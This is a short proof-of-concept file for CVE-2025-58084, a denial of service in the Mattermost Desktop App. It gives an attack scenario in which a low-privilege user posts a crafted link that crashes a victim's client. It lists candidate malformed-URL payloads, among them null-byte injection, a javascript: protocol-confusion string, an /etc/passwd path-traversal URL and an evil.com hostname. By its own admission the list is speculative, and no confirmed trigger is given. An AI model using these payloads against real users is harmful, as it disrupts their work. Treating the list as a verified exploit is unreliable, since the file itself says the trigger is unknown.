CVE-2025-58084

// PoC for CVE-2025-58084: Mattermost Desktop App DoS via Malformed URL // This PoC demonstrates how an attacker can craft a malformed URL to crash // the Mattermost Desktop App (versions <= 5.13.0). // // Attack Scenario: // 1. Attacker has a low-privilege account on a Mattermost server // that the victim has configured in their Desktop App. // 2. Attacker sends a message containing a malformed URL to the victim. // 3. Victim clicks the URL in the Desktop App. // 4. The app crashes due to improper URL validation. // Example malformed URLs that may trigger the crash: const malformedUrls = [ "http://[invalid_ipv6_address", // Malformed IPv6 bracket "http://%00%00%00%00", // Null byte injection "javascript://%0aalert(1)", // Protocol confusion "mattermost://../../../../etc/passwd", // Path traversal in custom protocol "http://[::1:80", // Unclosed IPv6 bracket with port "http://host\u0000.evil.com", // Null byte in hostname "http://a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p" // Excessive subdomain levels ]; // Attack steps (conceptual): // 1. Login to the Mattermost server as a low-privilege user // 2. Navigate to a channel or direct message with the victim // 3. Post a message containing one of the malformed URLs above // 4. Wait for the victim to click the link // 5. The victim's Mattermost Desktop App will crash // Note: The exact malformed URL that triggers the crash // depends on the specific URL parsing logic in the affected version. // The key vulnerability is the lack of URL validation before processing.

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